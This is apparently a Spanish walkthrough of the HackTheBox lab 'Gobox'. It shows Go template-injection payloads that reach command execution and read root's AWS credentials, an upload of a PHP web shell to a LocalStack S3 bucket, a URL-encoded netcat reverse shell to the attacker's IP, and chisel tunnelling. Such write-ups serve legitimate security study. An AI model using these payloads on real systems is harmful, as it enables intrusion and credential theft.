Gobox

sudo nmap 10.129.95.236 -sS -p- -n -Pn --min-rate 5000 --open -oG allPorts -vvv
sudo nmap 10.129.95.236 -p 22,80,4566,8080 -sCV -oN targeted

Fuzzeamos, no sale nada:

gobuster dir -u http://10.129.95.236/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt  -t 100

En la otra web hay un panel de inicio de sesión:

También tiene funcionalidad de recuperación de cuenta:

Por alguna razón si abres una etiqueta script se peta y no muestra nada.

Con un payload de Server Side Template Injection tira un 502

Fuzzeando por caracteres encontramos que hay algunos que no los muestra %;& y el < lo html encodea.

El payload {{77}} lo interpreta como 77

Probamos más payloads de SSTI sin éxito.

Fuzzeamos esta segunda página y no encontramos nada más.

El puerto 4566 lo hemos visto en varias ocasiones , suele tener que ver con algún emulador de aws local como LocalStack, aunque en este caso parece estar expuesto, pero de normal es interno.

Probamos a ver si podemos enumerar buckets s3 sin credenciales (o credenciales fake) y nos tira forbidden:

export AWS_ACCESS_KEY_ID="FAKE"
export AWS_SECRET_ACCESS_KEY="FAKE"
export AWS_DEFAULT_REGION="us-east-2"
aws s3 ls --endpoint-url http://10.129.95.236:4566
aws dynamodb list-tables --endpoint-url http://10.129.95.236:4566 --no-sign-request

Volvemos al SSTI y encontramos un payload que nos funciona : {{ . }}

Es un payload de go y funciona porque muestra las variables que se le pasan a la plantilla en uso

Por ejemplo

type Secreto struct {
    Usuario  string
    Password string
    Token    string
}

datos := Secreto{
    Usuario:  "admin",
    Password: "super_password_123",
    Token:    "xyz-999",
}

// El programador pasa el objeto 'datos' a la plantilla
plantilla.Execute(writer, datos)

Si ponemos {{ . }} nos devolverá {admin super_password_123 xyz-999}
Esto se debe a que el programador suele esperar que pasemos cosas como {{.Title}}

ippsec@hacking.esports \ ippsSecretPassword

Cuando metemos las creds nos lleva a este código en golang :


package main

import(
    "html/template"
    "net/http"
    "log"
    "os/exec"
    "fmt"
    "bytes"
    "strings"
)

// compile all templates and cache them
var templates = template.Must(template.ParseGlob("templates/*"))

type Data struct {
    Title string // Must be exported!
    Body string  // Must be exported!
}

type User struct {
        ID       int
        Email    string
        Password string
}

func (u User) DebugCmd (test string) string {
  ipp := strings.Split(test, " ")
  bin := strings.Join(ipp[:1], " ")
  args := strings.Join(ipp[1:], " ")
  if len(args) > 0{
    out, _ := exec.Command(bin, args).CombinedOutput()
    return string(out)
  } else {
    out, _ := exec.Command(bin).CombinedOutput()
    return string(out)
  }
}

// Renders the templates
func renderTemplate(w http.ResponseWriter, tmpl string, page *Data) {
	err := templates.ExecuteTemplate(w, tmpl, page)
	if err != nil {
    http.Error(w, err.Error(), http.StatusInternalServerError)
    return
	}
}

func IndexHandler(w http.ResponseWriter, r *http.Request) {
  switch r.Method {
  case "GET":
	page := &Data{Title:"Home page", Body:"Welcome to our brand new home page."}
	renderTemplate(w, "index", page)
  case "POST":
	page := &Data{Title:"Home page", Body:"Welcome to our brand new home page."}
    if r.FormValue("password") == "ippsSecretPassword" {
      renderTemplate(w, "source", page )
    } else {
      renderTemplate(w, "index", page)
    }
  }
}

func ForgotHandler(w http.ResponseWriter, r *http.Request) {
    switch r.Method {
    case "GET":
      page := &Data{Title:"Forgot Password", Body:""}
      renderTemplate(w, "forgot", page)
    case "POST":
      var user1 = &User{1, "ippsec@hacking.esports", "ippsSecretPassword"}
      var tmpl = fmt.Sprintf(`Email Sent To: %s`, r.FormValue("email"))

      t, err := template.New("page").Parse(tmpl)
      if err != nil {
          fmt.Println(err)
      }

      var tpl bytes.Buffer
      t.Execute(&tpl, &user1)
      page := &Data{Title:"Forgot Password", Body:tpl.String()}
      renderTemplate(w, "forgot", page)
    }
}


func main(){
  http.HandleFunc("/", IndexHandler)
  http.HandleFunc("/forgot/", ForgotHandler)
  log.Fatal(http.ListenAndServe(":80", nil))
}

Podríamos intentar llamar a esta función para ejecutar código

func (u User) DebugCmd (test string) string {
  ipp := strings.Split(test, " ")
  bin := strings.Join(ipp[:1], " ")
  args := strings.Join(ipp[1:], " ")
  if len(args) > 0{
    out, _ := exec.Command(bin, args).CombinedOutput()
    return string(out)
  } else {
    out, _ := exec.Command(bin).CombinedOutput()
    return string(out)
  }
}

Vamos a probar si tenemos ejecución de código:

Y efectivamente.
Seguramente podamos llamar a esa función desde la inyección.

{{ .DebugCmd "id" }}
{{ .DebugCmd "id" }}

Como estaba costando mucho conseguir una rev shell, navegamos por el sistema de archivos hasta encontrar las credenciales de AWS

email={{+.DebugCmd+"cat ../../root/.aws/credentials"+}}@test.com

Cargamos las creds y ahora si que podemos comunicarnos con el local stack

aws_access_key_id=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
aws_secret_access_key=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
aws s3 ls --endpoint-url http://10.129.95.236:4566

website

Nos descargarmos todo el bucket

aws s3 sync s3://website . --endpoint-url http://10.129.95.236:4566

Es el código de la página main http://10.129.95.236

Tenemos permisos de escritura asi que subimos una shell

aws s3 cp /mnt/Windows/Hacking/tools/shell.php s3://website/shell.php --endpoint-url http://10.129.95.236:4566
http://10.129.95.236/shell.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.17.48%204444%20%3E%2Ftmp%2Ff
nc -lvpn 4444
cat /var/www/user.txt

Hay varios puertos extraños abiertos

./chisel client 10.10.17.48:8000 R:9000:127.0.0.1:9000 R:9001:127.0.0.1:9001
chisel server --port 8000 --reverse

El puerto 9000 son los típicos endpoints de LocalStack para ver el estado

curl 'http://127.0.0.1:9000/' ; echo
{"status": "running"}
curl 'http://127.0.0.1:9000/health' ; echo
{
  "services": {
    "s3": "running"
  },
  "features": {
    "persistence": "initialized",
    "initScripts": "initialized"
  }
}

Y el puerto 9001 parece ser la misma web que la que estaba expuesta en el 8080 hacia fuera, cuando ejecutamos el SSTI lo ejecutamos dentro del docker

Se ha tenido que ejecutar el docker con algo así :

docker run -p 8080:9001 imagen-app-go

Y de alguna forma también se abierto el 9001 en la máquina, aparte del 8080.

Ejecutando pspy64 lo podemos ver

2025/12/30 09:17:30 CMD: UID=0     PID=1200   | /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 9001 -container-ip 172.28.0.3 -container-port 80 
2025/12/30 09:17:30 CMD: UID=0     PID=1194   | /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 9001 -container-ip 172.28.0.3 -container-port 80

Encontramos un binario SUID /usr/bin/incrontab pero no nos deja ejecutarlo como www-data

También hay un puerto 8000 que no habíamos visto antes

./chisel client 10.10.17.48:8000 R:8001:127.0.0.1:8000